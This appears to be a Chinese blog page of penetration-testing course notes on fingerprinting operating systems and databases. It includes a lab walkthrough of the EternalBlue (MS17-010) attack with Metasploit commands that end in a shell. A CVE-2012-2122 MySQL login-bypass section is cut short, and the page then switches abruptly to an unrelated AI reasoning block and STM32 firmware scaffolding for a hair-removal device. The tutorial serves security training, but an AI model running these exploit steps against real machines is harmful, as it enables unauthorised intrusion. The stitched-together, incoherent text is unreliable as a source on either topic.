小迪安全-04

目录

小迪安全-基础入门-系统数据库

简要操作系统层面漏洞影响范围

实例:“永恒之蓝”漏洞复现

Mysql身份认证绕过漏洞(CVE-2012-2122)


小迪安全-基础入门-系统数据库

思维导图:

#操作系统层面

识别操作系统常见方法

  • 大小写-----Windows上不区分大小写,linux区分

  • 也可用工具--Nmap扫描

在扫描windows操作系统时,检测出为windows xp系统,windows防火墙开启的话有可能会扫描不到或者确定不了那个系统版本,nmap会针对版本的可能性列出百分比;

注:Nmap对系统进行识别时并不一定能准确识别,当无法准确识别的时候,使用--osscan-guess (--fuzzy选项可以推测系统并识别,--fuzzy不一起使用。)

  • 不同的操作系统的TTL值不同,可以通过ping命令来观察

Linux系统、Windows7的TTL值为64或255

Windows NT/2000/XP系统的TTL值为128

Windows 98系统的TTL值为32

UNIX主机的TTL值为255。

简要操作系统层面漏洞影响范围
  • 权限

  • 简单的干扰

  • 使服务崩溃

(注:静态网站没有漏洞,因为没有数据传递)

##数据库层面

识别数据库类型的常见方法

  • 根据数量(组合):

小型数据库:ASP+Access.....

中型数据库:php+mysql、asp+mssql

大型数据库:sql server 、jsp+mssq、Oracle、python+mongodb

  • 利用端口扫描(Nmap)

数据库打开时一般会有默认端口打开:

Mysql:3306 Mssql:1433

Oracle:1521 mongodb:27017

...................

识别意义:1.每个数据库的安全机制与写法结构都不一样,从而产生的漏洞也不同;2.不仅有存储上的区别,还有结构上的区别

常见漏洞类型及攻击:部署问题、离线服务器数据泄露、错误配置的数据库、SQL注入、权限问题、数据库备份被盗

##第三方层面

如何判断有哪些第三方平台或软件

  • 端口扫描看弹出的目录以及版本

  • 看有没有phpadmin

##补充

除去常规wEB安全及APP安全测试外,类似服务器单一或复杂的其他服务|〔邮件,游戏,负载均衡等),也可以作为安全测试目标,此类目标测试原则只是少了wEB应用或其他安全问题。所以明确安全测试思路是很重要的!

实例:“永恒之蓝”漏洞复现
  • 查询ip

  • 测试两台主机的连通性

  • 查询指kali数据库的状态

Payload:service postgresql status

  • 此时就可以进行永恒之蓝漏洞扫描,(永恒之蓝利用的是ms17_010漏洞,因此到这一步之后的任务就是在kali 里寻找ms17_010漏洞,并且利用该漏洞进行攻击,获得windows 7 的管理员权限)

  • 启动msf:msfconsole

msfconsole是一个强大的接口程序。Msfconsole提供一体化的集中控制台。通过msfconsole,可以访问和使用所有的metasploit的插件,payload,利用模块,post模块等等。Msfconsole还有第三方程序的接口,比如nmap,sqlmap等,可以直接在msfconsole里面使用。

  • 搜索ms17_010:search ms17_010

  • 用use auxiliary/scanner/smb/smb_ms17_010检测一下漏洞

Show options ------查看帮助

  • 测试漏洞是否存在

Payload:set rhosts 192.168.32.141

Run ---攻击

  • 进行攻击:use exploit/windows/smb/ms17_010_eternalblue

  • 获取shell,永恒之蓝成功覆盖。

Mysql身份认证绕过漏洞(CVE-2012-2122)
  • 漏洞描述

    当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

  • 受影响版本

  • 靶机 ip:192.168.32.154 kali ip:192.168.32.130

  • 先开启vulhub环境

  • 在kali里面进行攻击

扫描版本信息:Payload:nmap -A 192.168.32.154

  • 使用查询出来的模块

<think>嗯,用户让我写一篇关于脱毛仪设备的整体代码,要求详细,代码带注释,裸机运行,主机和手柄芯片都是STM32F103,显示屏用的是文屏。首先,我需要明确用户的需求是什么。他们可能是在开发一款脱毛仪产品,需要嵌入式系统的代码,主机和手柄之间可能有通信,文屏的驱动也需要处理。 首先,我得考虑硬件架构。主机和手柄都是STM32F103,这意味着代码结构可能需要分为主机和手柄两部分,或者共享一些库。文屏通常使用UART或SPI通信,所以需要确认接口方式。另外,裸机运行意味着没有操作系统,需要用轮询或中断来处理任务。 然后,功能模块。脱毛仪可能涉及PWM控制光源,温度检测,安全保护,用户界面交互,以及主机和手柄之间的通信。通信协议方面,可能用UART或者CAN,这里用户没指定,可能默认UART。需要定义通信协议格式,比如起始字节、命令类型、数据、校验等。 接下来,代码结构。主机部分需要初始化外设,处理显示屏,接收手柄指令,控制激光模块,监测温度等。手柄部分可能有按键输入,发送指令到主机,显示状态。文屏的驱动部分需要发送特定指令来更新屏幕内容,比如使用文的串口协议。 然后,考虑各个模块的具体实现。PWM输出用于控制激光的强度和频率,ADC读取温度传感器的数据,比如NTC热敏电阻。通信部分需要处理数据的发送和接收,校验数据正确性。安全机制比如温度超过阈值时关闭激光,紧急停止功能。 可能的问题点:实时性要求,裸机下如何调度任务?可能需要状态机或者定时器中断来分时处理不同任务。文屏的指令是否正确,比如显示更新可能需要发送特定的字节序列。主机和手柄的通信是否稳定,是否需要重发机制。 用户可能需要详细的代码注释,所以每个函数和关键部分都需要解释。另外,代码可能需要模块化,比如分为main.c、pwm.c、adc.c、uart.c、gui.c等,但用户要求整体代码,可能需要在一个文件中展示框架,或者分模块展示。 需要确保外设初始化正确,比如GPIO设置,时钟配置。STM32的库函数可能用标准外设库或者HAL库,用户可能更熟悉标准库,所以代码基于标准外设库编写。 最后,测试部分需要考虑各个模块的单独测试和整体联调,但用户可能不需要测试代码,但代码中需要有安全机制和处理异常情况的措施。 综上,我需要构建一个包含主机和手柄的代码框架,处理显示屏、通信、PWM、ADC等模块,确保代码结构清晰,注释详细,符合裸机运行的要求。</think>这里为您提供一个基于STM32F103的脱毛仪系统框架设计方案。由于嵌入式系统开发需要结合硬件设计,以下代码为简化示例(需要根据具体硬件调整): ```c /******************** 主机主控程序(main.c)********************/ #include "stm32f10x.h" #include "dwin.h" // 文屏驱动 #include "uart.h" /* 系统状态定义 */ typedef enum { STANDBY, TREATMENT, COOLING, ERROR } SystemState; /* 全局变量 */ SystemState g_systemState = STANDBY; uint8_t g_powerLevel = 50; // 默认功率等级 int main(void) { // 系统初始化 RCC_Configuration(); // 时钟配置 GPIO_Configuration(); // GPIO初始化 PWM_Init(); // PWM输出初始化(控制激光模块) ADC_Init(); // 温度采集初始化 DWIN_Init(); // 文屏初始化 UART3_Init(115200); // 与手柄通信 // 主循环 while(1) { SystemStateMonitor(); // 状态监控 HandleUARTCommand(); // 处理手柄指令 UpdateDisplay(); // 更新显示屏 SafetyCheck(); // 安全检测 } } /******************** 显示屏驱动(dwin.c)********************/ void DWIN_UpdateMainScreen(void) { /* 文屏指令格式:5A A5 [长度] [指令] [地址] [数据] */ uint8_t buf[20]; // 更新状态显示 buf[0] = 0x5A; buf[1] = 0xA5; buf[2] = 0x05; // 数据长度 buf[3] = 0x82; // 写变量指令 buf[4] = 0x00; buf[5] = 0x10; // 状态显示地址 buf[6] = g_systemState; UART1_Send(buf, 7); // 更新功率显示(类似格式) } /******************** PWM控制(pwm.c)********************/ #define LASER_PWM_TIM TIM2 void PWM_Init(void) { TIM_TimeBaseInitTypeDef TIM_Base; TIM_OCInitTypeDef TIM_OC; // 时钟使能 RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM2, ENABLE); // 时基配置:1kHz PWM TIM_Base.TIM_Period = 999; // ARR TIM_Base.TIM_Prescaler = 71; // 72MHz/72=1MHz TIM_Base.TIM_ClockDivision = 0; TIM_Base.TIM_CounterMode = TIM_CounterMode_Up; TIM_TimeBaseInit(LASER_PWM_TIM, &TIM_Base); // PWM通道配置 TIM_OC.TIM_OCMode = TIM_OCMode_PWM1; TIM_OC.TIM_OutputState = TIM_OutputState_Enable; TIM_OC.TIM_Pulse = 500; // 初始占空比50% TIM_OC.TIM_OCPolarity = TIM_OCPolarity_High; TIM_OC2Init(LASER_PWM_TIM, &TIM_OC); TIM_Cmd(LASER_PWM_TIM, ENABLE); } /******************** 安全监测(safety.c)********************/ #define MAX_TEMP 45 // 最高允许温度(℃) void SafetyCheck(void) { static float currentTemp = 0; currentTemp = ReadTemperature(); if(currentTemp > MAX_TEMP) { PWM_Disable(); // 关闭激光 g_systemState = ERROR; SendErrorCode(0x01); // 发送过热错误代码 } } /******************** 手柄端程序(handle.c)********************/ void Handle_Process(void) { // 按键扫描 if(KEY_OK_Pressed()) { SendStartCommand(); } // 接收主机状态 if(UART_DataReady()) { ParseHostMessage(); } } /******************** 通信协议(protocol.h)********************/ /* 指令格式: * 帧头(2B) | 长度(1B) | 命令(1B) | 数据(N) | 校验(1B) * 0xAA 0x55 CRC8 */ #pragma pack(1) typedef struct { uint8_t header[2]; uint8_t length; uint8_t cmd; uint8_t data[8]; uint8_t crc; } DeviceFrame; #pragma pack() /* 主要命令定义 */ #define CMD_START 0x01 #define CMD_STOP 0x02 #define CMD_SET_POWER 0x03 #define CMD_STATUS 0x04 ``` 需要补充的硬件驱动: 1. 温度传感器驱动(如NTC热敏电阻) 2. 文屏具体控制指令(需参考DGUS协议) 3. 安全互锁电路控制 4. 风扇冷却控制 5. 皮肤接触检测电路 开发注意事项: 1. 严格遵循医疗设备安全标准(IEC 60601) 2. 建议使用RTOS实现多任务调度(但题目要求裸机) 3. 关键参数需存储在备份寄存器或Flash中 4. 需要实现看门狗定时器 5. 建议使用硬件CRC校验通信数据 这个框架需要根据具体硬件设计进行以下调整: 1. 引脚分配需要对照原理图 2. 显示屏具体指令需参考文DGUS协议 3. PWM参数需要匹配激光驱动电路 4. 温度传感器校准参数需要实测 5. 通信波特率需要双方一致 建议开发流程: 1. 先实现各模块独立调试 2. 进行系统联调 3. 进行安全认证测试 4. 进行EMC/EMI测试 5. 最终量产固件需要加密保护 需要特别注意: 1. 必须包含硬件互锁机制 2. 操作界面需要权限管理 3. 需要记录操作日志 4. 建议加入自检功能 5. 需要过温、过流、超时保护 以上代码为框架示例,实际开发需要配合硬件设计完成具体实现。建议使用STM32CubeMX生成初始化代码,可以显著提高开发效率。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值